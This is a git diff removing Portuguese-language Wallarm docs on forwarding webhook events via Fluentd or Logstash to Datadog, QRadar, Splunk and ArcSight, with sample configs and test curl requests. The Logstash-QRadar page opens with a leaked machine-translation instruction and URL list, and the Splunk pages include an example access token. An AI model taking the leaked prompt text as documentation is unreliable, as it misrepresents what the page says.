dados](../../../../images/user-guides/settings/integrations/wallarm-log-collector-datadog.png) - -!!! info "Integração nativa com o Datadog" - O Wallarm também suporta a [integração nativa com o Datadog via API do Datadog](../datadog.md). A integração nativa não requer que o coletor de dados intermediário seja utilizado. - -## Recursos utilizados - -* O serviço Fluentd ou Logstash disponível na URL pública -* O serviço Datadog disponível na URL pública -* Acesso de administrador ao Console Wallarm na [nuvem da UE](https://my.wallarm.com) para [configurar a integração Fluentd/Logstash](#configurando-a-integração-com-fluentd-ou-logstash) - ---8<-- "../include-pt-BR/cloud-ip-by-request.md" - -## Requisitos - -Como o Wallarm envia logs para o coletor de dados intermediário via webhooks, a configuração do Fluentd ou Logstash deve atender aos seguintes requisitos: - -* Aceitar as solicitações POST ou PUT -* Aceitar solicitações HTTPS -* Ter URL pública -* Encaminhar logs para o Datadog via o plugin `datadog_logs` do Logstash ou o plugin `fluent-plugin-datadog` do Fluentd - -=== "Exemplo de configuração do Logstash" - 1. [Instale o plugin `datadog_logs`](https://github.com/DataDog/logstash-output-datadog_logs#how-to-install-it) para encaminhar logs para o Datadog. - 1. Configure o Logstash para ler solicitações de entrada e encaminhar logs para o Datadog. - - Exemplo de arquivo de configuração `logstash-sample.conf`: - - ```bash linenums="1" - input { - http { # plugin de entrada para tráfego HTTP e HTTPS - port => 5044 # porta para solicitações de entrada - ssl => true # processamento de tráfego HTTPS - ssl_certificate => "/etc/server.crt" # certificado TLS do Logstash - ssl_key => "/etc/server.key" # chave privada para certificado TLS - } - } - filter { - mutate { - add_field => { - "ddsource" => "wallarm" # filtro de mutação adicionando o campo fonte ao registro de log do Datadog para filtragem futura de logs do Wallarm - } - } - } - output { - stdout {} # plugin de saída para imprimir logs do Logstash na linha de comando - datadog_logs { # plugin de saída para encaminhar os logs do Logstash para o Datadog - api_key => "XXXX" # chave API gerada para a organização no Datadog - host => "http-intake.logs.datadoghq.eu" # endpoint do Datadog (depende da região de inscrição) - } - } - ``` - - * [Documentação sobre a estrutura do arquivo de configuração do Logstash](https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html) - * [Documentação sobre o plugin `datadog_logs`](https://docs.datadoghq.com/integrations/logstash/) -=== "Exemplo de configuração do Fluentd" - 1. [Instale o plugin `fluent-plugin-datadog`](https://github.com/DataDog/fluent-plugin-datadog#pre-requirements) para encaminhar logs para o Datadog. - 1. Configure o Fluentd para ler solicitações de entrada e encaminhar logs para o Datadog. - - Exemplo de arquivo de configuração `td-agent.conf`: - - ```bash linenums="1" - - @type http # plugin de entrada para tráfego HTTP e HTTPS - port 9880 # porta para solicitações de entrada - # configuração para tratamento de conexões - cert_path /etc/ssl/certs/fluentd.crt - private_key_path /etc/ssl/private/fluentd.key - - - - @type datadog # plugin de saída para encaminhar logs do Fluentd para o Datadog - @id awesome_agent - api_key XXXX # chave API gerada para a organização no Datadog - host 'http-intake.logs.datadoghq.eu' # endpoint do Datadog (depende da região de inscrição) - - # Opcional - include_tag_key true - tag_key 'tag' - - # Tags opcionais - dd_source 'wallarm' # adicionando o campo fonte ao registro de log do Datadog para filtragem futura de logs do Wallarm - dd_tags 'integration:fluentd' - - - @type memory - flush_thread_count 4 - flush_interval 3s - chunk_limit_size 5m - chunk_limit_records 500 - - - ``` - - * [Documentação sobre a estrutura do arquivo de configuração do Fluentd](https://docs.fluentd.org/configuration/config-file) - * [Documentação sobre o plugin `fluent-plugin-datadog`](https://docs.datadoghq.com/integrations/fluentd) - -## Configurando a integração com Fluentd ou Logstash - -1. Prossiga para a configuração de integração do Datadog no Console Wallarm → **Integrações** → **Fluentd**/**Logstash**. -1. Insira o nome da integração. -1. Especifique a URL do Fluentd ou Logstash de destino (URL do Webhook). -1. Se necessário, configure as configurações avançadas: - - --8<-- "../include-pt-BR/integrations/webhook-advanced-settings.md" -1. Escolha os tipos de evento para acionar o envio de notificações para a URL especificada. Se os eventos não forem escolhidos, as notificações não serão enviadas. -1. [Teste a integração](#testando-a-integração) e certifique-se de que as configurações estão corretas. -1. Clique em **Adicionar integração**. - -Exemplo de integração com o Fluentd: - -![Adicionando integração com o Fluentd](../../../../images/user-guides/settings/integrations/add-fluentd-integration.png) - -## Testando a integração - ---8<-- "../include-pt-BR/integrations/test-integration-advanced-data.md" - -O log de teste no coletor de dados intermediário Fluentd ou Logstash: - -```json -[ - { - summary:"[Mensagem de teste] [Parceiro de teste (US)] Nova vulnerabilidade detectada", - description:"Tipo de notificação: vuln - - Uma nova vulnerabilidade foi detectada em seu sistema. - - ID: - Título: Teste - Domínio: example.com - Caminho: - Método: - Descoberto por: - Parâmetro: - Tipo: Info - Ameaça: Média - - Mais detalhes: https://us1.my.wallarm.com/object/555 - - - Cliente: TestCompany - Nuvem: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Teste", - discovered_by:null, - threat:"Média", - type:"Info" - } - } - } -] -``` - -O log de teste no Datadog: - -![O log de teste no Datadog](../../../../images/user-guides/settings/integrations/test-datadog-vuln-detected.png) - -Para encontrar os logs do Wallarm entre outros registros, você pode usar a tag de busca `source:wallarm_cloud` no serviço Datadog Logs. diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/webhook-examples/fluentd-qradar.md b/docs/latest-pt-BR/user-guides/settings/integrations/webhook-examples/fluentd-qradar.md deleted file mode 100644 index db7830a7a1..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/webhook-examples/fluentd-qradar.md +++ /dev/null @@ -1,120 +0,0 @@ -# IBM QRadar via Fluentd - -Estas instruções fornecem a você o exemplo de integração do Wallarm com o coletor de dados Fluentd para encaminhar eventos para o sistema SIEM do QRadar. - ---8<-- "../include-pt-BR/integrations/webhook-examples/overview.md" - -![Fluxo de Webhook](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/qradar-scheme.png) - -## Recursos utilizados - -* [Fluentd](#fluentd-configuration) instalado no Debian 11.x (bullseye) e disponível em `https://fluentd-example-domain.com` -* [QRadar V7.3.3](#qradar-configuration-optional) instalado no Linux Red Hat e disponível com o endereço IP `https://109.111.35.11:514` -* Acesso administrativo ao Console Wallarm na [nuvem UE](https://my.wallarm.com) para [configurar a integração Fluentd](#configuration-of-fluentd-integration) - ---8<-- "../include-pt-BR/cloud-ip-by-request.md" - -Uma vez que os links para os serviços Fluentd e QRadar são citados como exemplos, eles não respondem. - -### Configuração do Fluentd - -Como o Wallarm envia logs para o coletor de dados intermediário Fluentd via webhooks, a configuração do Fluentd deve atender aos seguintes requisitos: - -* Aceitar as solicitações POST ou PUT -* Aceite solicitações HTTPS -* Ter URL pública -* Encaminhar logs para o IBM Qradar, este exemplo usa o plugin `remote_syslog` para encaminhar logs - -O Fluentd é configurado no arquivo `td-agent.conf`: - -* O processamento do webhook recebido é configurado na diretiva `source`: - * O tráfego é enviado para a porta 9880 - * O Fluentd está configurado para aceitar apenas conexões HTTPS - * O certificado TLS do Fluentd assinado por uma CA publicamente confiável está localizado dentro do arquivo `/etc/ssl/certs/fluentd.crt` - * A chave privada para o certificado TLS está localizada dentro do arquivo `/etc/ssl/private/fluentd.key` -* O encaminhamento de logs para o QRadar e a saída de log estão configurados na diretiva `match`: - * Todos os logs de eventos são copiados do Fluentd e encaminhados para o QRadar no endereço IP `https://109.111.35.11:514` - * Logs são encaminhados do Fluentd para o QRadar no formato JSON de acordo com o padrão [Syslog](https://en.wikipedia.org/wiki/Syslog) - * A conexão com o QRadar é estabelecida via TCP - * Os logs do Fluentd também são impressos na linha de comando no formato JSON (linhas de código 19-22). A configuração é usada para verificar que os eventos são registrados via Fluentd - -```bash linenums="1" - - @type http # plugin de entrada para tráfego HTTP e HTTPS - port 9880 # porta para solicitações recebidas - # configuração para manipulação de conexões - cert_path /etc/ssl/certs/fluentd.crt - private_key_path /etc/ssl/private/fluentd.key - - - - @type copy - - @type remote_syslog # plugin de saída para encaminhar logs do Fluentd via Syslog - host 109.111.35.11 # endereço IP para encaminhar logs para - port 514 # porta para encaminhar logs para - protocol tcp # protocolo de conexão - - @type json # formato de logs encaminhados - - - - @type stdout # plugin de saída para imprimir logs do Fluentd na linha de comando - output_type json # formato de logs impressos na linha de comando - - -``` - -Uma descrição mais detalhada dos arquivos de configuração está disponível na [documentação oficial do Fluentd](https://docs.fluentd.org/configuration/config-file). - -!!! info "Testando a configuração Fluentd" - Para verificar que os logs Fluentd estão sendo criados e encaminhados para o QRadar, a solicitação PUT ou POST pode ser enviada para o Fluentd. - - **Exemplo de solicitação:** - ```curl - curl -X POST 'https://fluentd-example-domain.com' -H "Content-Type: application/json" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **Logs do Fluentd:** - ![Logs no Fluentd](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/qradar-curl-log.png) - - **Logs do QRadar:** - ![Logs no QRadar](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/fluentd-curl-log.png) - - **Carga de log do QRadar:** - ![Logs no QRadar](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/fluentd-curl-log-payload.png) - -### Configuração do QRadar (opcional) - -No QRadar, a origem do log é configurada. Isso ajuda a encontrar facilmente os logs Fluentd na lista de todos os logs no QRadar e também pode ser usado para filtrar mais logs. A origem do log é configurada da seguinte forma: - -* **Nome da fonte de log**: `Fluentd` -* **Descrição da fonte de log**: `Logs do Fluentd` -* **Tipo de fonte de log**: tipo de analisador de logs recebidos usados com o padrão Syslog `Universal LEEF` -* **Configuração do protocolo**: padrão de encaminhamento de logs `Syslog` -* **Identificador da fonte de log**: Endereço IP do Fluentd -* Outras configurações padrão - -Uma descrição mais detalhada da configuração da origem do log do QRadar está disponível na [documentação oficial da IBM](https://www.ibm.com/support/knowledgecenter/en/SS42VS_DSM/com.ibm.dsm.doc/b_dsm_guide.pdf?origURL=SS42VS_DSM/b_dsm_guide.pdf). - -![Configuração da origem do log do QRadar para Fluentd](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/fluentd-setup.png) - -### Configuração da integração Fluentd - ---8<-- "../include-pt-BR/integrations/webhook-examples/create-fluentd-webhook.md" - -![Integração de Webhook com Fluentd](../../../../images/user-guides/settings/integrations/add-fluentd-integration.png) - -[Mais detalhes sobre a configuração da integração Fluentd](../fluentd.md) - -## Teste de exemplo - ---8<-- "../include-pt-BR/integrations/webhook-examples/send-test-webhook.md" - -O Fluentd registrará o evento da seguinte forma: - -![Log sobre novo usuário no QRadar do Fluentd](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/qradar-user-log.png) - -Os seguintes dados no formato JSON serão exibidos no payload de log do QRadar: - -![Novo cartão de usuário no QRadar do Fluentd](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/fluentd-user.png) \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/webhook-examples/fluentd-splunk.md b/docs/latest-pt-BR/user-guides/settings/integrations/webhook-examples/fluentd-splunk.md deleted file mode 100644 index 82a1579c52..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/webhook-examples/fluentd-splunk.md +++ /dev/null @@ -1,116 +0,0 @@ -[splunk-dashboard-by-wallarm-img]: ../../../../images/user-guides/settings/integrations/splunk-dashboard-by-wallarm.png - -# Splunk Enterprise via Fluentd - -Estas instruções fornecem a você um exemplo de integração do Wallarm com o coletor de dados Fluentd para encaminhar eventos adicionais para o sistema SIEM Splunk. - ---8<-- "../include-pt-BR/integrations/webhook-examples/overview.md" - -![Fluxo do Webhook](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/splunk-scheme.png) - -## Recursos Utilizados - -* [Splunk Enterprise](#splunk-enterprise-configuration) com URL WEB `https://109.111.35.11:8000` e URL API `https://109.111.35.11:8088` -* [Fluentd](#fluentd-configuration) instalado no Debian 11.x (bullseye) e disponível em `https://fluentd-example-domain.com` -* Acesso de administrador ao Console Wallarm na [nuvem da UE](https://my.wallarm.com) para [configurar a integração Fluentd](#configuration-of-fluentd-integration) - ---8<-- "../include-pt-BR/cloud-ip-by-request.md" - -Como os links para os serviços Splunk Enterprise e Fluentd são citados como exemplos, eles não respondem. - -### Configuração do Splunk Enterprise - -Os registros do Fluentd são enviados para o Controlador de Eventos HTTP do Splunk com o nome `Registros do Fluentd do Wallarm` e outras configurações padrão: - -![Configuração do Controlador de Eventos HTTP](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/fluentd-setup.png) - -Para acessar o Controlador de Eventos HTTP, o token gerado `f44b3179-91aa-44f5-a6f7-202265e10475` será usado. - -Uma descrição mais detalhada da configuração do Controlador de Eventos HTTP do Splunk está disponível na [documentação oficial do Splunk](https://docs.splunk.com/Documentation/Splunk/8.0.5/Data/UsetheHTTPEventCollector). - -### Configuração do Fluentd - -Como o Wallarm envia logs para o coletor de dados intermediário Fluentd via webhooks, a configuração do Fluentd deve atender aos seguintes requisitos: - -* Aceitar as solicitações POST ou PUT -* Aceitar solicitações HTTPS -* Ter URL pública -* Encaminhar logs para o Splunk Enterprise, este exemplo usa o plugin `splunk_hec` para encaminhar logs - -O Fluentd é configurado no arquivo `td-agent.conf`: - -* O processamento do webhook de entrada é configurado na diretiva `source`: - * O tráfego é enviado para a porta 9880 - * O Fluentd é configurado para aceitar apenas conexões HTTPS - * O certificado TLS do Fluentd assinado por uma CA confiável publicamente está localizado dentro do arquivo `/etc/ssl/certs/fluentd.crt` - * A chave privada para o certificado TLS está localizada dentro do arquivo `/etc/ssl/private/fluentd.key` -* O encaminhamento de logs para o Splunk e a saída de log são configurados na diretiva `match`: - * Todos os logs de eventos são copiados do Fluentd e encaminhados para o Controlador de Eventos HTTP do Splunk por meio do plugin de saída [fluent-plugin-splunk-hec](https://github.com/splunk/fluent-plugin-splunk-hec) - * Os logs do Fluentd também são impressos na linha de comando no formato JSON (linhas de código 19-22). Essa configuração é usada para verificar que os eventos são registrados via Fluentd - -```bash linenums="1" - - @type http # plugin de entrada para tráfego HTTP e HTTPS - port 9880 # porta para solicitações de entrada - # configuração para manipulação de conexões - cert_path /etc/ssl/certs/fluentd.crt - private_key_path /etc/ssl/private/fluentd.key - - - - @type copy - - @type splunk_hec # plugin de saída fluent-plugin-splunk-hec para encaminhar logs para a API do Splunk via Controlador de Eventos HTTP - hec_host 109.111.35.11 # host do Splunk - hec_port 8088 # porta da API do Splunk - hec_token f44b3179-91aa-44f5-a6f7-202265e10475 # token do Controlador de Eventos HTTP - - @type json # formato dos logs encaminhados - - - - @type stdout # plugin de saída para imprimir logs do Fluentd na linha de comando - output_type json # formato dos logs impressos na linha de comando - - -``` - -Uma descrição mais detalhada dos arquivos de configuração está disponível na [documentação oficial do Fluentd](https://docs.fluentd.org/configuration/config-file). - -!!! info "Testando a configuração do Fluentd" - Para verificar se os logs do Fluentd estão sendo criados e encaminhados para o Splunk, pode-se enviar uma solicitação PUT ou POST ao Fluentd. - - **Exemplo de solicitação:** - ```curl - curl -X POST 'https://fluentd-example-domain.com' -H "Content-Type: application/json" -H "Authorization: Splunk f44b3179-91aa-44f5-a6f7-202265e10475" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **Logs do Fluentd:** - ![Logs no Fluentd](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/splunk-curl-log.png) - - **Logs do Splunk:** - ![Logs no Splunk](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/fluentd-curl-log.png) - -### Configuração da integração Fluentd - ---8<-- "../include-pt-BR/integrations/webhook-examples/create-fluentd-webhook.md" - -![Integração de webhook com Fluentd](../../../../images/user-guides/settings/integrations/add-fluentd-integration.png) - -[Mais detalhes sobre a configuração da integração Fluentd](../fluentd.md) - -## Teste do exemplo - ---8<-- "../include-pt-BR/integrations/webhook-examples/send-test-webhook.md" - -O Fluentd registrará o evento da seguinte forma: - -![Log sobre novo usuário no Splunk através do Fluentd](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/splunk-user-log.png) - -A seguinte entrada será exibida nos eventos Splunk: - -![Cartão do novo usuário no Splunk a partir do Fluentd](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/fluentd-user.png) - -## Recebendo eventos no Splunk Enterprise organizados em um painel - ---8<-- "../include-pt-BR/integrations/application-for-splunk.md" diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md b/docs/latest-pt-BR/user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md deleted file mode 100644 index caf4e4aa59..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md +++ /dev/null @@ -1,111 +0,0 @@ -# Micro Focus ArcSight Logger via Logstash - -Estas instruções fornecem a você um exemplo de integração do Wallarm com o coletor de dados Logstash para encaminhamento adicional dos eventos para o sistema ArcSight Logger. - ---8<-- "../include-pt-BR/integrations/webhook-examples/overview.md" - -![Fluxo de Webhook](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/arcsight-logger-scheme.png) - -!!! info "Integração com a versão corporativa do ArcSight ESM" - Para configurar o encaminhamento de logs do Logstash para a versão corporativa do ArcSight ESM, é recomendado configurar o Syslog Connector no lado do ArcSight e, depois, encaminhar os logs do Logstash para a porta do conector. Para obter uma descrição mais detalhada dos conectores, faça o download do **Guia do usuário do SmartConnector** na [documentação oficial do ArcSight SmartConnector](https://community.microfocus.com/t5/ArcSight-Connectors/ct-p/ConnectorsDocs). - -## Recursos usados - -* [ArcSight Logger 7.1](#arcsight-logger-configuration) com a URL WEB `https://192.168.1.73:443` instalada no CentOS 7.8 -* [Logstash 7.7.0](#logstash-configuration) instalado no Debian 11.x (bullseye) e disponível em `https://logstash.example.domain.com` -* Acesso de administrador ao Wallarm Console em [nuvem da UE](https://my.wallarm.com) para [configurar a integração do Logstash](#configuration-of-logstash-integration) - ---8<-- "../include-pt-BR/cloud-ip-by-request.md" - -Como os links para os serviços ArcSight Logger e Logstash são citados como exemplos, eles não respondem. - -### Configuração do ArcSight Logger - -ArcSight Logger tem um receptor de logs `Wallarm Logstash logs` configurado da seguinte forma: - -* Logs são recebidos via UDP (`Type = UDP Receiver`) -* A porta de escuta é `514` -* Os eventos são analisados com o analisador de syslog -* Outras configurações padrão - -![Configuração do receptor no ArcSight Logger](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/logstash-setup.png) - -Para obter uma descrição mais detalhada da configuração do receptor, faça o download do **Guia de instalação do Logger** da versão apropriada na [documentação oficial do ArcSight Logger](https://community.microfocus.com/t5/Logger-Documentation/ct-p/LoggerDoc). - -### Configuração do Logstash - -Como o Wallarm envia logs para o coletor de dados intermediário Logstash via webhooks, a configuração do Logstash deve atender aos seguintes requisitos: - -* Aceitar as solicitações POST ou PUT -* Aceitar solicitações HTTPS -* Ter URL pública -* Encaminha logs para ArcSight Logger, este exemplo usa o plugin `syslog` para encaminhar logs - -Logstash está configurado no arquivo `logstash-sample.conf`: - -* O processamento de webhook de entrada é configurado na seção `input`: - * O tráfego é enviado para a porta 5044 - * Logstash está configurado para aceitar apenas conexões HTTPS - * O certificado TLS Logstash assinado por uma CA de confiança pública está localizado no arquivo `/etc/server.crt` - * A chave privada para o certificado TLS está localizada no arquivo `/etc/server.key` -* O encaminhamento de logs para o ArcSight Logger e a saída de log são configurados na seção `output`: - * Todos os logs de eventos são encaminhados do Logstash para o ArcSight Logger no endereço IP `https://192.168.1.73:514` - * Os logs são encaminhados do Logstash para o ArcSight Logger no formato JSON de acordo com o padrão [Syslog](https://en.wikipedia.org/wiki/Syslog) - * A conexão com o ArcSight Logger é estabelecida via UDP - * Logs do Logstash também são impressos na linha de comando (linha de código 15). A configuração é usada para verificar se os eventos estão sendo registrados via Logstash - -```bash linenums="1" -input { - http { # input plugin for HTTP and HTTPS traffic - port => 5044 # port for incoming requests - ssl => true # HTTPS traffic processing - ssl_certificate => "/etc/server.crt" # Logstash TLS certificate - ssl_key => "/etc/server.key" # private key for TLS certificate - } -} -output { - syslog { # output plugin to forward logs from Logstash via Syslog - host => "192.168.1.73" # IP address to forward logs to - port => "514" # port to forward logs to - protocol => "udp" # connection protocol - codec => json # format of forwarded logs - } - stdout {} # output plugin to print Logstash logs on the command line -} -``` - -Uma descrição mais detalhada dos arquivos de configuração está disponível na [documentação oficial do Logstash](https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html). - -!!! info "Testando a configuração do Logstash" - Para verificar que os logs do Logstash são criados e encaminhados para o ArcSight Logger, pode-se enviar uma solicitação POST para o Logstash. - - **Exemplo de solicitação:** - ```curl - curl -X POST 'https://logstash.example.domain.com' -H "Content-Type: application/json" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **Logs do Logstash:** - ![Logs do Logstash](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/arcsight-logger-curl-log.png) - - **Evento no ArcSight Logger:** - ![Evento no ArcSight Logger](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/logstash-curl-log.png) - -### Configuração da integração Logstash - ---8<-- "../include-pt-BR/integrations/webhook-examples/create-logstash-webhook.md" - -![Integração de webhook com Logstash](../../../../images/user-guides/settings/integrations/add-logstash-integration.png) - -[Mais detalhes sobre a configuração de integração do Logstash](../logstash.md) - -## Teste do exemplo - ---8<-- "../include-pt-BR/integrations/webhook-examples/send-test-webhook.md" - -Logstash registrará o evento da seguinte forma: - -![Novo registro de usuário no ArcSight Logger do Logstash](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/arcsight-logger-user-log.png) - -A seguinte entrada será exibida nos eventos ArcSight Logger: - -![Cartão de novo usuário no ArcSight Logger do Logstash](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/logstash-user.png) diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/webhook-examples/logstash-qradar.md b/docs/latest-pt-BR/user-guides/settings/integrations/webhook-examples/logstash-qradar.md deleted file mode 100644 index 3e4647ab9c..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/webhook-examples/logstash-qradar.md +++ /dev/null @@ -1,130 +0,0 @@ -Mantenha o mesmo tom de polidez na tradução e garanta que o arquivo resultante tenha exatamente as mesmas URLs do arquivo original: -../../../../images/user-guides/settings/integrations/webhook-examples/logstash/qradar-scheme.png -#logstash-configuration -#qradar-configuration-optional -https://my.wallarm.com -#configuration-of-logstash-integration -https://en.wikipedia.org/wiki/Syslog -https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html -https://www.ibm.com/support/knowledgecenter/en/SS42VS_DSM/com.ibm.dsm.doc/b_dsm_guide.pdf?origURL=SS42VS_DSM/b_dsm_guide.pdf -../../../../images/user-guides/settings/integrations/webhook-examples/qradar/logstash-setup.png -../../../../images/user-guides/settings/integrations/add-logstash-integration.png -../logstash.md -../../../../images/user-guides/settings/integrations/webhook-examples/logstash/qradar-user-log.png -../../../../images/user-guides/settings/integrations/webhook-examples/qradar/logstash-user.png - -Tradução do artigo de documentação do Wallarm.com do inglês para o português do Brasil: - -# IBM QRadar via Logstash - -Estas instruções fornecem a você um exemplo de integração do Wallarm com o coletor de dados Logstash para encaminhar eventos para o sistema SIEM QRadar. - ---8<-- "../include-pt-BR/integrations/webhook-examples/overview.md" - -![Fluxo do Webhook](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/qradar-scheme.png) - -## Recursos utilizados - -* [Logstash 7.7.0](#logstash-configuration) instalado no Debian 11.x (bullseye) e disponível em `https://logstash.example.domain.com` -* [QRadar V7.3.3](#qradar-configuration-optional) instalado no Linux Red Hat e disponível com o endereço IP `https://109.111.35.11:514` -* Acesso de administrador ao Console Wallarm na [nuvem da EU](https://my.wallarm.com) para [configurar a integração do Logstash](#configuration-of-logstash-integration) - ---8<-- "../include-pt-BR/cloud-ip-by-request.md" - -Como os links para os serviços Logstash e QRadar são citados como exemplos, eles não respondem. - -### Configuração do Logstash - -Como o Wallarm envia logs para o coletor de dados intermediário Logstash via webhooks, a configuração do Logstash deve atender aos seguintes requisitos: - -* Aceitar as solicitações POST ou PUT -* Aceitar solicitações HTTPS -* Possuir URL pública -* Encaminhar logs para IBM Qradar, este exemplo utiliza o plugin `syslog` para encaminhar logs - -O Logstash é configurado no arquivo `logstash-sample.conf`: - -* O processamento do webhook de entrada é configurado na seção `input`: - * O tráfego é enviado para a porta 5044 - * Logstash é configurado para aceitar apenas conexões HTTPS - * Certificado TLS do Logstash assinado por uma CA de confiança pública está localizado no arquivo `/etc/server.crt` - * A chave privada para o certificado TLS está localizada no arquivo `/etc/server.key` -* O encaminhamento de logs para o QRadar e a saída de log são configurados na seção `output`: - * Todos os logs de eventos são encaminhados do Logstash para o QRadar no endereço IP `https://109.111.35.11:514` - * Os logs são encaminhados do Logstash para o QRadar no formato JSON de acordo com o padrão [Syslog](https://en.wikipedia.org/wiki/Syslog) - * A conexão com o QRadar é estabelecida via TCP - * Os logs do Logstash são impressos adicionalmente na linha de comando (15ª linha de código). A configuração é usada para verificar que os eventos são registrados via Logstash - -```bash linenums="1" -input { - http { # plugin de entrada para tráfego HTTP e HTTPS - port => 5044 # porta para solicitações de entrada - ssl => true # processamento de tráfego HTTPS - ssl_certificate => "/etc/server.crt" # Certificado TLS do Logstash - ssl_key => "/etc/server.key" # chave privada para o certificado TLS - } -} -output { - syslog { # plugin de saída para encaminhar logs do Logstash via Syslog - host => "109.111.35.11" # Endereço IP para encaminhar logs para - port => "514" # porta para encaminhar logs para - protocol => "tcp" # protocolo de conexão - codec => json # formato dos logs encaminhados - } - stdout {} # plugin de saída para imprimir logs do Logstash na linha de comando -} -``` - -Uma descrição mais detalhada dos arquivos de configuração está disponível na [documentação oficial do Logstash](https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html). - -!!! info "Testando a configuração do Logstash" - Para verificar se os logs do Logstash são criados e encaminhados para o QRadar, a solicitação POST pode ser enviada para o Logstash. - - **Exemplo de solicitação:** - ```curl - curl -X POST 'https://logstash.example.domain.com' -H "Content-Type: application/json" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **Logs do Logstash:** - ![Logs no Logstash](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/qradar-curl-log.png) - - **Logs no QRadar:** - ![Logs no QRadar](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/logstash-curl-log.png) - - **Carga útil do log do QRadar:** - ![Carga útil do log no QRadar](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/logstash-curl-log-payload.png) - -### Configuração do QRadar (opcional) - -No QRadar, a fonte de log é configurada. Isso ajuda a encontrar facilmente os logs do Logstash na lista de todos os logs no QRadar, e também pode ser usado para filtrar logs adicionais. A fonte de log é configurada da seguinte maneira: - -* **Nome da fonte de log**: `Logstash` -* **Descrição da fonte de log**: `Logs do Logstash` -* **Tipo de fonte de log**: tipo de analisador de logs de entrada usado com o padrão Syslog `Universal LEEF` -* **Configuração de protocolo**: padrão de encaminhamento de logs `Syslog` -* **Identificador de fonte de log**: endereço IP do Logstash -* Outras configurações padrão - -Uma descrição mais detalhada da configuração da fonte de log do QRadar está disponível na [documentação oficial da IBM](https://www.ibm.com/support/knowledgecenter/en/SS42VS_DSM/com.ibm.dsm.doc/b_dsm_guide.pdf?origURL=SS42VS_DSM/b_dsm_guide.pdf). - -![Configuração da fonte de log do QRadar para o Logstash](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/logstash-setup.png) - -### Configuração da integração do Logstash - ---8<-- "../include-pt-BR/integrations/webhook-examples/create-logstash-webhook.md" - -![Integração de webhook com o Logstash](../../../../images/user-guides/settings/integrations/add-logstash-integration.png) - -[Mais detalhes sobre a configuração da integração do Logstash](../logstash.md) - -## Exemplo de teste - ---8<-- "../include-pt-BR/integrations/webhook-examples/send-test-webhook.md" - -O Logstash registrará o evento da seguinte maneira: - -![Log sobre novo usuário no QRadar a partir do Logstash](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/qradar-user-log.png) - -Os seguintes dados no formato JSON serão exibidos na carga útil do log do QRadar: - -![Cartão de novo usuário no QRadar a partir do Logstash](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/logstash-user.png) \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/settings/integrations/webhook-examples/logstash-splunk.md b/docs/latest-pt-BR/user-guides/settings/integrations/webhook-examples/logstash-splunk.md deleted file mode 100644 index 7427889e12..0000000000 --- a/docs/latest-pt-BR/user-guides/settings/integrations/webhook-examples/logstash-splunk.md +++ /dev/null @@ -1,110 +0,0 @@ -[splunk-dashboard-by-wallarm-img]: ../../../../images/user-guides/settings/integrations/splunk-dashboard-by-wallarm.png - -# Splunk Enterprise via Logstash - -Estas instruções fornecem a você o exemplo de integração do Wallarm com o coletor de dados Logstash para encaminhar eventos posteriores ao sistema SIEM de Splunk. - ---8<-- "../include-pt-BR/integrations/webhook-examples/overview.md" - -![Fluxo do Webhook](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/splunk-scheme.png) - -## Recursos utilizados - -* [Splunk Enterprise](#splunk-enterprise-configuration) com WEB URL `https://109.111.35.11:8000` e API URL `https://109.111.35.11:8088` -* [Logstash 7.7.0](#logstash-configuration) instalado no Debian 11.x (bullseye) e disponível em `https://logstash.example.domain.com` -* Acesso de administrador ao Console Wallarm na [nuvem EU](https://my.wallarm.com) para [configurar a integração do Logstash](#configuration-of-logstash-integration) - ---8<-- "../include-pt-BR/cloud-ip-by-request.md" - -Como os links para os serviços Splunk Enterprise e Logstash são citados como exemplos, eles não respondem. - -### Configuração do Splunk Enterprise - -Os logs do Logstash são enviados para o Splunk HTTP Event Controller com o nome `Wallarm Logstash logs` e outras configurações padrão: - -![Configuração do coletor de eventos HTTP](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/logstash-setup.png) - -Para acessar o HTTP 